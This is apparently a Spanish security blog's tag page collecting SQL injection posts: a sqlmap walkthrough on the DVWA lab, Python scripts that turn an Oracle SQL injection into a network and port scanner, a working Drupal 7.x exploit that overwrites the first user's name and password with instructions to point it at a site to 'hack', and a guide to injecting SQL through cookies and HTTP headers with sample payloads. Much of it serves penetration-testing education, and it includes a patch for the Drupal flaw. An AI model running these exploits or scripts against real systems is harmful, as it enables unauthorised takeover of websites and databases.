Banner 1

Mostrando entradas con la etiqueta sql injection. Mostrar todas las entradas
Mostrando entradas con la etiqueta sql injection. Mostrar todas las entradas

Sqlmap con DVWA (Aprende en entornos controlados)

0 comentarios

El escenario de pruebas

Para probar la herramienta he elegido el entorno de pruebas DVWA (Damn Vulnerable Web Application). 
La instalación del entorno es bastante sencilla y consiste en descargar el ZIP desde su página Web y requerirá que tengamos PHP y MySQL. Tenéis en este enlace un tutorial con el paso a paso de su instalación.
Esta aplicación Web permite seleccionar el nivel de dificultad al que nos queremos enfrentar desde su apartado DVWA Security, de este modo podemos ajustar el retor a un mayor o menor nivel y así ir afinando nuestras habilidades. En nuestro caso la definiremos en nivel medio para las pruebas que queremos realizar con sqlmap:

Reuniendo información antes de ejecutar la prueba

Una vez configurada la aplicación DVWA, veremos que para acceder es necesario rellenar un formulario, los credenciales de acceso son usuario admin y contraseña password:
Si utilizamos un componente como Web Developer Tools en Mozilla podremos ver las cookies que nos ha establecido el servidor Web al iniciar sesión:
Una vez dentro nos dirigiremos a la sección de SQL Injection y a nada que realicemos alguna prueba veremos que este nivel es fácilmente explotable:
Utilizando la técnica de identificación de columnas basada en ORDER BY veremos que la consulta que se está realizando internamente espera 2 columnas:
Ya con el conocimiento del número de columnas podemos intentar la explotación basada en UNION para obtener información por ejemplo del usuario que ejecuta las consultas y la base de datos a la que se conecta:

Continuando la explotación con sqlmap

Llegados a este punto hemos reunido la siguiente información:
  • Tenemos un motor de base de datos MySQL
  • Estamos almacenando las cookies
    • PHPSESSID (gestiona la sesión que tenemos iniciada)
    • security (gestiona el nivel de seguridad configurado en la aplicación)
  • El parámetro id es vulnerable a SQL Injection y se puede explotar utilizando la técnica UNION query
  • La base de datos a la que se conecta la aplicación se llama dvwa
  • El usuario que realiza las consultas SQL es root@localhost
Con toda esta información podemos afinar la explotación utilizando sqlmap y obtener de forma muy rápida el listado de tablas:
Los detalles de este comando son los siguientes:
  • --cookie permite establecer los parámetros y valores que queremos enviar en la cabecera HTTP Cookie
  • -p permite indicar el parámetro sobre el que se quiere testear la inyección
  • --dbms permite establecer el motor de base de datos para evitar pruebas sobre otros motores
  • --technique permite indicar la técnica de explotación: Boolean-based, Error-based, Union, Stacked querys, Time-based. Tenéis más información en su página de man.
  • -D indica la base de datos que queremos analizar
  • --tables para enumerar las tablas
Nota: Como ya conoceréis la potencia de sqlmap imaginaréis que toda esta información que hemos obtenido de forma manual se podría haber conseguido directamente con la herramienta, sin embargo es importante que seamos cuidadosos y en todo momento controlemos las técnicas que empleamos ya que podríamos dejar la aplicación analizada en un estado inconsistente.
El resultado del comando anterior nos devolverá una enumeración de las tablas:
De modo que continuando con el ejercicio, podríamos realizar un dump de la tabla users utilizando el siguiente comando:
Y en este punto también veremos algo interesante de la herramienta, ya que detectará los hashes de las contraseñas que hay en la tabla y nos ofrecerá realizar un ataque basado en diccionario para romperlos:
Dándonos en este caso un resultado perfecto:

Otras pruebas más allá del escenario DVWA

La siguiente prueba de concepto la realizaré sobre una aplicación Web hecha a medida ya que DVWA no es vulnerable a la explotación que voy a mostrar sin embargo algún escenario al que nos enfrentemos sí podría serlo.
Una vez hayamos detectado un parámetro vulnerable a SQL injection y si los permisos del motor de base de datos y el sistema de ficheros no están bien configurados podríamos incluso llegar a conseguir una shell con el siguiente comando:
Nos solicitará algo de información adicional con el fin de crear la sentencia SQL que nos devolverá una shell:
Seguir este proceso nos devolverá la shell:
Y por ir finalizando la cantidad de posibilidades que nos ofrece la herramienta, no olvidemos que podemos integrarla con nuestra instalación de Tor utilizando el siguiente comando:
 
Fuente: http://www.estacion-informatica.com/2014/04/profundizando-en-sqlmap.html

De una inyección SQL a un escáner de red

0 comentarios
Hace poco, haciendo una auditoría web, encontré un parámetro que era vulnerable a SQL injection.

Tras un pequeño análisis, identifiqué que se trataba de un servidor Oracle y que no iba a ser fácil extraer información de la base de datos porque se ve que la inyección debía de estar en la llamada a un procedimiento almacenado.

Algo así como:

procedimiento_almacenado (parámetro_vulnerable);

Oracle, en esta sintaxis, no permite añadir consultas del tipo SELECT, así que realizar las típicas inyecciones para determinar el usuario de la base de datos, el nombre de ésta, qué tablas las forman... no iba a funcionar.

Tras probar muchas cosas, vi que sí que podía utilizar variables SYS_CONTEXT para recuperar variables del sistema relativas a la configuración ya que, aunque no podía hacer un:

SELECT user from DUAL;

Sí que podía (ojo, era una inyección de tipo numérico):

55 - (ASCII (SUBSTR (user,1,1)) - ASCII('U') )

O, del mismo modo:

55 - (ASCII (SUBSTR (SYS_CONTEXT('USERENV', 'CURRENT_USER'), 1, 1)) - ASCII('U') )

Con esto, no tenía acceso a los datos de la base de datos en sí, pero obtuve información principalmente relacionada con el entorno Oracle como usuarios, dirección IP del servidor, tipo de autenticación utilizada...

Ya estaba a punto de desesperarme y decidir que no podía llegar mucho más allá cuando me acordé de los procedimientos almacenados de los que os hablé en la entrada anterior: UTL_HTTP y UTL_INADDR.

Así que pensé: ¿qué pasará si digo de utilizar UTL_HTTP para acceder a otros puertos del servidor para intentar determinar si están o no abiertos? Algo en plan:
  • http://10.0.2.51:22
  • http://10.0.2.51:80
  • http://10.0.2.51:443
  • http://10.0.2.51:8080
  • http://10.0.2.51:1521
  • ...
Imaginad mi sorpresa cuando veo que efectivamente funcionaba. Es más, Oracle era tan bondadoso que me decía claramente si el puerto estaba o no abierto:

  • Error cuando el puerto estaba abierto:
java.sql.SQLException: ORA-29273: HTTP request failed ORA-06512: at "SYS.UTL_HTTP",
line 1722 ORA-29263: HTTP protocol error ORA-06512: at line 1 at [...]

  • Error cuando el puerto estaba cerrado:
java.sql.SQLException: ORA-29273: HTTP request failed ORA-06512: at "SYS.UTL_HTTP",
line 1722 ORA-12541: TNS:no listener ORA-06512: at line 1 at [...]


Creo que la siguiente pregunta que me hice es evidente... ¿Y si escaneo otros hosts de la red? Pues exactamente igual. En este caso, lo que hice fue siempre preguntar por el puerto 22 y observé las respuestas:

  • Cuando no existía el host:
java.sql.SQLException: ORA-29273: HTTP request failed ORA-06512: at "SYS.UTL_HTTP", line 1722 ORA-12543: TNS:destination host unreachable ORA-06512: at line 1 at [...]

Cuando existía el host en la red, el error que devolvía era alguno de los dos errores asociados a si el puerto estaba o no abierto.

Así que cogí y en un rato me hice mi propio escáner de puertos a través del SQLi que había encontrado. Éste es el resultado que puede servir como prueba de concepto:

Escaneo de red:

import requests

cookies = { "JSESSIONID" : "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX" }
headers = { "Content-Type" : "application/x-www-form-urlencoded"}

i = 0

for i in range(254):
r = requests.post ("http://www.example.com/vulnerable_page", "parametro_vulnerable=55 - (length (utl_http.request('http://10.0.2.%s:22/')) )" % str(i+1), cookies=cookies, headers=headers )

if not "destination host unreachable" in r.text:
print "Alive: 10.0.2.%s" % str(i+1)

Este script se ejecutará directamente:

$ python network_scan.py

Escaneo de puertos:

import requests
import sys

cookies = { "JSESSIONID" : "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX" }
headers = { "Content-Type" : "application/x-www-form-urlencoded"}

topports = (26, 554, 32768, 8000, 8443, 2000, 1026, 179, 5060, 514, 10000, 6001, 81, 113, 548, 465, 1720, 199, 8888, 587, 1025, 5900, 993, 995, 111, 1723, 8080, 3306, 135, 53, 143, 139, 445, 110, 3389, 25, 22, 21, 443, 23, 80, 37, 119, 9100, 4899, 2717, 1755, 873, 1028, 49157, 5051, 6646, 9, 1029, 13, 1900, 3986, 5432, 3000, 5190, 7070, 5009, 9999, 444, 3128, 8009, 389, 7, 144, 5101, 544, 543, 49156, 427, 5357, 990, 513, 6000, 49155, 1110, 2121, 106, 5800, 79, 88, 2049, 8081, 49153, 631, 5631, 5000, 646, 5666, 1027, 49154, 8008, 515, 2001, 49152, 1433)

i = 0

for i in topports:
r = requests.post ("http://www.example.com/vulnerable_page", "parametro_vulnerable=55 - (length (utl_http.request('http://%s:%s/')) )" % ( sys.argv[1], str(i)), cookies=cookies, headers=headers )

if not "no listener" in r.text:
print "Open port: %s" % str(i)

Este script, recibe la dirección IP a escanear como entrada. Por ejemplo:

$ python port_scan.py 10.0.2.51

Y de este modo conseguí que una vulnerabilidad que no hubiera pasado ni pena ni gloria, se convirtiera en algo interesante. Es más, con más tiempo podría haber intentado acceder a otros de los servicios que encontré abiertos (entre ellos un JBoss en un puerto 8080).

Para ver un poco mejor el post , ir a la fuente:
http://laxmarcaellugar.blogspot.com/2014/03/de-una-inyeccion-sql-un-escaner-de-red.html

Inyección SQL en Drupal 7.x (Exploit)

0 comentarios

Hace días, salio la vulnerabilidad critica de Drupal 7.x en donde un investigador de Seguridad Stefan Horst, encontraba un SQL Injeccion en CORE de Drupal, lo que se le clasifico la vulnerabilidad como CRITICA, pero aun así, muchas sitios web con Drupal , no han actualizado.
Cualquiera puede usar esta vulnerabilidad para ejecutar código PHP en su servidor, eliminar todo, infectar su sitio web con virus, cambiar la contraseña, borrar sus mensajes (nodos) …
Si usted está utilizando CloudFlare, no te preocupes por ser hackeado, pero no obstante actualizar. Su Web Application Firewall (WAF) ha construido en las reglas para protegerse de este ataque.

Un poco de fondo

Drupal es una plataforma de gestión de contenido de código abierto alimentar a millones de sitios web y aplicaciones. Está construido, usado, y con el apoyo de una comunidad activa y diversa de personas en todo el mundo.
Durante una auditoría de código para un cliente, Stefan Horst de “SektionEins GmbH” encontró una vulnerabilidad de inyección SQL en la forma en Drupal 7 núcleo maneja declaraciones preparadas.
Un usuario malintencionado puede inyectar consultas SQL arbitrarias, y en algunos servidores de escribir un archivo PHP ejecutable en cualquier lugar en el servidor.

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
protected function expandArguments(&$query, &$args) {
$modified = FALSE;
// If the placeholder value to insert is an array, assume that we need
// to expand it out into a comma-delimited set of placeholders.
foreach (array_filter($args, 'is_array') as $key => $data) {
$new_keys = array();
foreach ($data as $i => $value) {
// This assumes that there are no other placeholders that use the same
// name. For example, if the array placeholder is defined as :example
// and there is already an :example_2 placeholder, this will generate
// a duplicate key. We do not account for that as the calling code
// is already broken if that happens.
$new_keys[$key . '_' . $i] = $value;
}
// Update the query with the new placeholders.
// preg_replace is necessary to ensure the replacement does not affect
// placeholders that start with the same exact text. For example, if the
// query contains the placeholders :foo and :foobar, and :foo has an
// array of values, using str_replace would affect both placeholders,
// but using the following preg_replace would only affect :foo because
// it is followed by a non-word character.
$query = preg_replace('#' . $key . '\b#', implode(', ', array_keys($new_keys)), $query);
// Update the args array with the new placeholders.
unset($args[$key]);
$args += $new_keys;
$modified = TRUE;
}
return $modified;
}
Arriba está la función que Drupal 7 utilizada para manejar comandos preparados, específicamente para expandir matrices.

1 2 3 4 5 6
db_query("SELECT * FROM {users} where name IN (:name)", array(':name'=>array('user1','user2')));
//SELECT * from users where name IN (:name_0, :name_1)
 
db_query("SELECT * FROM {users} where name IN (:name)", array(':name'=>array('test -- ' => 'user1','test' => 'user2')));
//SELECT * FROM users WHERE name = :name_test -- , :name_test AND status = 1

En el código anterior, se puede ver la función en acción. Los expandArguments función supone que se llama con una matriz que no tiene llaves.

El primer ejemplo es el código normal, que seleccionará dos usuarios con nombres en NAME_0 y name_1.

El segundo ejemplo muestra la vulnerabilidad. Si expandArguments se llama con una matriz que tiene llaves que no son números enteros, que incorpora la llave en la consulta, tratándolo como un valor.

Exploit:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
/********************************************************
* Drupal 7 SQL Injection vulnerability demo
* Created by Milan Kragujevic (of milankragujevic.com)
* Read more at http://milankragujevic.com/post/66
* This will change the first user's username to admin
* and their password to admin
* Change $url to the website URL
********************************************************/
$url = '[URL HERE]'; // URL of the website (http://domain.com/)
$post_data = "name[0%20;update+users+set+name%3D'admin'+,+pass+%3d+'" . urlencode('$S$CTo9G7Lx2rJENglhirA8oi7v9LtLYWFrGm.F.0Jurx3aJAmSJ53g') . "'+where+uid+%3D+'1';;#%20%20]=test3&name[0]=test&pass=test&test2=test&form_build_id=&form_id=user_login_block&op=Log+in";
 
$params = array(
'http' => array(
'method' => 'POST',
'header' => "Content-Type: application/x-www-form-urlencoded\r\n",
'content' => $post_data
)
);
$ctx = stream_context_create($params);
$data = file_get_contents($url . '?q=node&destination=node', null, $ctx);
 
if(stristr($data, 'mb_strlen() expects parameter 1 to be string') && $data) {
echo "Success! Log in with username \"admin\" and password \"admin\" at {$url}user/login";
} else {
echo "Error! Either the website isn't vulnerable, or your Internet isn't working. ";
}

Guarde la secuencia de comandos en alguna parte , abrelo y actualizar variable $url a la dirección URL del sitio web que desea “hackear” y luego ejecutarlo, ya sea mediante la apertura en su navegador web o mediante la ejecución de php [scripname].php

Si se muestra un error!, que significa que, o bien la página web fue parcheado, la URL que has introducido no es válido o está en formato incorrecto (no se olvide de http: //) o, simplemente, su Internet no está funcionando.

Solucion Simple:
Si usted está funcionando un sitio web en Drupal, y realmente importante tiene miedo de actualizar debido a problemas de compatibilidad, sólo actualize includes/database/database.inc de la siguiente manera:

Vuelva a colocar la línea 739:
foreach ($data as $i => $value) {

con el siguiente codigo:
foreach (array_values($data) as $i => $value) {


Fuente:

Referencias:
Original: http://www.blackploit.com/2014/11/inyeccion-sql-en-drupal-7x-exploit.html
Apoyo: http://www.elladodelmal.com/2014/11/drupal-7-hackeados-por-un-bug-de-sql.html

From SQL injection to Shell : Practicando SQL injectión

0 comentarios


From SQL injection to Shell

Difficulty

Beginner

Details

This exercise explains how you can from a SQL injection gain access to the administration console. Then in the administration console, how you can run commands on the system.

What you will learn?

  • SQL injection exploitation using UNION
  • Cracking md5 hashed passwords
  • Writing a PHP webshell

Requirements

  • A computer with a virtualisation software
  • A basic understanding of HTTP
  • A basic understanding of PHP
  • Yes, that's it!

Download


Mirror


Fuente:
https://www.pentesterlab.com/exercises/from_sqli_to_shell/

Ayuda para resolver el laboratorio:
http://websec.ca/kb/sql_injection

Como realizar Inyecciónes SQL a través de HTTP Headers

0 comentarios
Durante la evaluación de la vulnerabilidad o las pruebas de penetración, la identificación de los vectores de entrada de la aplicación de destino es un paso primordial. A veces, cuando se trata de pruebas de aplicaciones Web, las rutinas de verificación en relación con los errores de inyección SQL descubrimiento se restringen a las variables GET y POST como las entradas vectores singulares de la historia. ¿Qué pasa con otros parámetros de cabecera HTTP? ¿No son los vectores de entrada potencial para los ataques de inyección SQL? ¿Cómo se puede probar todos estos parámetros HTTP y que los escáneres de vulnerabilidad a utilizar con el fin de evitar dejar vulnerabilidades sin descubrir en algunas partes de la aplicación?



Un resultado de una comparación de 60 comerciales y de código abierto de la caja negro escáneres de vulnerabilidades de aplicaciones web fue puesto en libertad y titulado: «La Legión de escaneo: Escáner de aplicaciones Web Precisión Evaluación y Comparación de funciones». Este punto de referencia, realizado por el investigador de seguridad Shay Chen en 2011, se centró en las pruebas de las herramientas comerciales y de código abierto que son capaces de detectar (y no explotar necesariamente) las vulnerabilidades de seguridad en una amplia gama de las direcciones URL.
Hemos concluido el siguiente gráfico que muestra la cobertura del parámetro de entrada el apoyo de scanners de aplicaciones web probadas. Estas entradas son básicamente:

Parámetros de cadena de consulta HTTP (GET): parámetros de entrada enviados en la URL.
Parámetros Cuerpo HTTP (POST): parámetros de entrada enviados en el cuerpo HTTP.
Parámetros HTTP Cookie: parámetros de entrada enviados en la cookie HTTP.
Encabezados HTTP: HTTP encabezados de solicitud utilizados por la aplicación.



Esta gráfica muestra obviamente que el 75% de los escáneres de aplicaciones Web no pudo descubrir encabezados HTTP parámetros defectos relacionados. Por otra parte, el 70% de estos escáneres no inspeccionar cookies HTTP vulnerabilidades persona. Estas tasas se refieren exactamente a la capacidad de los escáneres para escanear el vector de entrada, no simplemente para interpretarlo. En comparación con la puntuación razonable realizada por GET y POST, algunas herramientas de pruebas automatizadas pueden llevar a resultados no satisfechas cuando se trata de la cabecera HTTP como un vector de entrada de inyección SQL.



Como cuestión de hecho, las Cookies Encabezados HTTP y no debe ser subestimado. Por lo tanto, estos dos vectores se deben tomar en consideración durante plan de pruebas. Sin embargo, cuando los escáneres de vulnerabilidad utilizados no están apoyando a estas características, debemos pensar en las pruebas de estos parámetros de forma manual.

Encabezados HTTP potenciales para inyecciones SQL

Campos de encabezado HTTP

Campos de cabecera HTTP son componentes de la cabecera del mensaje de peticiones y respuestas en el Protocolo de transferencia de hipertexto (HTTP). Se definen los parámetros de funcionamiento de una transacción HTTP.

Ejemplo: solicitud HTTP


GET / HTTP/1.1
Connection: Keep-Alive
Keep-Alive: 300
Accept:*/*
Host: host
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US;
rv:1.9.2.16) Gecko/20110319 Firefox/3.6.16 ( .NET CLR 3.5.30729; .NET4.0E)
Cookie: guest_id=v1%3A1328019064; pid=v1%3A1328839311134


Podemos considerar las cookies HTTP, cuando se almacenan en bases de datos para la identificación de las sesiones, como los primeros potenciales variables de HTTP que deben ser probadas. Veremos a continuación en un ejemplo de inyección SQL basada Cookie. También hay otras cabeceras HTTP relacionadas con la aplicación.

X-Forwarded-For

X-Forwarded-For es un campo de encabezado HTTP considerado como un estándar de facto para la identificación de la dirección IP de origen de un cliente que se conecta a un servidor web a través de un proxy HTTP o equilibrador de carga.

Vamos a ver un ejemplo de esto basándose defecto de un envío de formularios.


$req = mysql_query("SELECT user,password FROM admins WHERE user='".sanitize($_POST['user'])."' AND password='".md5($_POST['password'])."' AND ip_adr='".ip_adr()."'");


El inicio de sesión variable se controla correctamente debido al sanitize() method.



function sanitize($param){ if (is_numeric($param)) { return $param; } else { return mysql_real_escape_string($param); } }


Vamos a inspeccionar la variable ip. Se está asignando la salida ip_addr() method.


function ip_adr() { if
(isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $ip_adr = $_SERVER['HTTP_X_FORWARDED_FOR']; } else { $ip_adr = $_SERVER["REMOTE_ADDR"]; } if (preg_match("#^[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}#",$ip_addr)) { return $ip_adr; } else { return $_SERVER["REMOTE_ADDR"]; } }


Obviamente, la dirección IP se recupera de la X_FORWARDED_FOR cabecera HTTP. Esta tarde está controlado por el preg_match que verifica si este parámetro no celebre al menos una dirección IP. Como cuestión de hecho, el entorno HTTP_X_FORWARDED_FOR variable no es verificada apropiadamente antes de su valor que se utiliza en la consulta de SQL. Esto puede llevar a ejecutar cualquier consulta SQL inyectando código SQL arbitrario en este campo.

El simple modificación de este campo de encabezado a algo así como:


GET /index.php HTTP/1.1
Host: [host]
X_FORWARDED_FOR :127.0.0.1' or 1=1#


llevará a pasar por alto el control de autenticación.

User-agent


User agent es un campo de encabezado HTTP da el programa de software utilizado por el cliente original. Esto es para fines estadísticos y el rastreo de las violaciónes de protocolo. Se debe incluirse. La primera palabra espacio delimitado blanco debe ser el nombre del producto de software, con una barra y la versión designador opcional.

No todas las aplicaciones están escritas para capturar los datos de user agent, pero a veces las aplicaciones se han diseñado para almacenar dicha información (por ejemplo:shopping cart providers) para hacer uso de ella. En este caso, vale la pena investigar el encabezado de agente de usuario de posibles problemas.

Ejemplo de consulta HTTP:


GET /index.php HTTP/1.1
Host: [host]
User-Agent: aaa' or 1/*


Referer

Referer es otra cabecera HTTP que puede ser vulnerable a la inyección de SQL, una vez que la aplicación se almacena en la base de datos sin esterilizarlo. Es un campo de encabezado opcional que permite al cliente especificar, para el beneficio del servidor, la dirección (URI) del documento (o elemento dentro del documento) de la que se obtuvo el URI de la solicitud. Esto permite a un servidor para generar listas de nuevo los enlaces a los documentos, por interés, la explotación forestal, etc Permite a los malos acoplamientos a remontar para el mantenimiento.

Ejemplo:


GET /index.php HTTP/1.1
Host: [host]
User-Agent: aaa' or 1/*

Referer: http://www.yaboukir.com


Perspectiva del atacante?

Como todos sabemos, los errores de inyección se clasifican los primeros en el OWASP Top 10 Los riesgos de seguridad de aplicaciones Web. Los atacantes están buscando cada vez más para los puntos de inyección para tener acceso total de sus bases de datos. No importa el tipo de la entrada del punto de inyección, ya sea un GET, POST, Cookie o otras cabeceras HTTP; lo importante para los intrusos es siempre tener al menos un punto de inyección que permiten a iniciar la fase de explotación.

Inyecciones SQL basadas probar manualmente Cookies

En esta sección, vamos a introducir algunos métodos de control de las variables HTTP cookies.

El uso de un Navegadores Add-on

Cookies Manager+

Cookies Manager + permite ver, editar y crear nuevas cookies. También permite mostrar información adicional acerca de las cookies y permite editar varias Cookies a la vez, así como copia de seguridad / restauración de ellos.

Después de instalarlo, en el menú Herramientas, seleccione Administrador de cookies +. Seleccionamos una variable de cookies relacionadas con la aplicación de destino.



Vamos a editar la variable language_id. Para averiguar la falla de inyección SQL, vamos a añadir una quote "'" en el campo
contenido de la variable de language_id.



Después de actualizar la página o hacer clic en otro enlace interno de la aplicación, la aplicación envía la solicitud mediante la cookie HTTP editado. El resultado se dispara un error SQL:



Este error de base de datos nos está alertando de un fallo de inyección SQL susceptible.

La ventaja de utilizar cookies Gestor + es que es fácil de usar, actúa directamente en la cookie y guarda el valor anterior edición de la cookie.

Vamos a tratar de determinar el número de columna utilizando otro Firefox plug-in.

Tamper Data:

Tamper Data es un poderoso complemento de Firefox para ver y modificar HTTP / HTTPS y los parámetros encabezados de correos.

Después de instalarlo, en el menú Herramientas, seleccione Tamper Data. Comience manipulación petición HTTP, haga clic en el botón Star Tamper.

Al poner en marcha cualquier solicitud de la aplicación de destino, Tamper Data abre un cuadro y le pregunta si se quiere alterar la actual solicitud HTTP acaba de enviar.

ng

Después de hacer clic en Tamper, tenemos la ventana emergente completa Tamper:



Añadimos: order by 4 en la variable de cookie HTTP como se muestra en la captura de pantalla anterior. La respuesta es normal de la aplicación.



Incrementamos el número y añadimos esta vez:. Order by 5 La respuesta a esta inyección es el siguiente:



Así que podemos concluir que el número de columnas es de 4.

Ahora, vamos a tratar de averiguar las columnas afectadas con el fin de inyectar en ella más consultas SQL. Por lo tanto, vamos a añadir la siguiente consulta en la variable de cookie HTTP language_id:

-1 + UNION + ALL + SELECT +1,2,3,4

La explotación puede necesitar técnicas de inyección SQL a veces avanzadas.

El uso de escáner automatizado de pruebas de penetración

Sqlmap como ejemplo

Sqlmap es una herramienta popular de código abierto de pruebas de penetración, que automatiza el proceso de detectar y explotar los errores de inyección SQL y hacerse cargo de los servidores de bases de datos.

Sqlmap compatible con las características de HTTP Cookies por lo que puede ser útil en dos sentidos:

*La autenticación basada en cookies cuando la aplicación web requiere que.
*La detección y explotación de inyección SQL en dichos valores de Headers.

By default sqlmap defecto todos los parametros GET y parámetros POST. Cuando el valor de nivel se establece en 2 o por encima de ella también pone a prueba los valores de encabezado HTTP cookies. Cuando este valor se establece en 3 o superior, que pone a prueba también HTTP User-Agent y HTTP Referer valor de encabezado de inyecciones SQL. Sin embargo, es posible especificar manualmente una lista separada por comas de parámetro (s) que desea sqlmap para probar. Esto omitirá Bypass de la dependencia del valor de nivel también.

Nivel de parámetros HTTP------------sqlmap

GET 1 (Default)
POST 1 (Default)
HTTP Cookie 2 ≥
HTTP User-Agent 3 ≥
HTTP Referer 3 ≥

Por ejemplo, para la prueba de Identificación de parámetros GET y HTTP User-Agent sólo, proporcionar-p id, user-agent.

Este es un ejemplo de cómo podemos probar el parámetro denominado seguridad de una cookie HTTP del DVWA (Web Application Damn Vulnerable).


./sqlmap.py -u 'http://127.0.0.1/vulnerabilities/sqli/?id=1&Submit=Submit#'
--cookie='PHPSESSID=0e4jfbrgd8190ig3uba7rvsip1; security=low'
--string='First name' --dbs --level 3 -p PHPSESSID


The flag-string compare las páginas válidos y una inválida (a causa de la inyección). En el otro lado, the flag-DBS se utiliza para enumerar los sistemas de gestión de base de datos. Por último, the flag-P Force la prueba de la variable PHPSESSID.



Herramientas para la inyección de prueba SQL: elegir por su precisión en la detección o por su cobertura de vector de entrada?

Con el fin de responder a esta pregunta, hemos explotado los resultados del índice de referencia proporcionado por sectoolmarket.com. Hemos tomar en la hipótesis de que la precisión en la detección de los escáneres de candidatos tiene la misma importancia que los vectores de entrada de la cobertura y apoyo. Hemos considerado GET, POST, HTTP Cookies y HTTP Headers como los vectores de entrada que deben ser apoyadas. Cuando se admiten todos estos parámetros, los escáneres hacen una tasa de 100% de cobertura (4/4).

Sugerimos la siguiente ecuación de la media aritmética de adaptar una puntuación de equilibrio para los escáneres de vulnerabilidad.

Después de equilibrar las tasas obtenidas con el porcentaje de precisión en la detección, nos detuvimos por este resultado por debajo de los 14 primeros escáneres.

Podemos mostrar un gráfico que representa los escáneres de vulnerabilidad por su puntuación equilibrada que define tanto por su precisión en la detección de errores de inyección SQL y su cobertura vector de entrada.



¿Qué sigue?

Para los desarrolladores

Cookies y otras cabeceras HTTP almacenados deben ser tratados por los desarrolladores como otra forma de entrada del usuario y se someterán a las mismas rutinas de validación.

Para testers

La manipulación de la información del encabezado HTTP en solicitudes de páginas (sobre todo los campos REFERER y USER-AGENT) es importante identificar si la aplicación es vulnerable a los vectores de inyección SQL o incluso a otras vulnerabilidades estándar (XSS). Es una buena práctica para definir y describir todos los aspectos que un usuario puede manipular los datos que es utilizado por la aplicación. Estos datos pueden ser almacenados, descabellada y se procesan Cookies, HTTP-headers (like HTTP_USER_AGENT ), form-variables (visible and hidden), Ajax-, JQuery-, XML-requests. x

Saludos y gracias por su preferencia
Saludos a DARKSPARK

Visitar la fuente para imágenes y códigos mejor organizado :)

http://krauser.diosdelared.com/?coment=12579
Powered by Bad Robot
Helped by Blackubay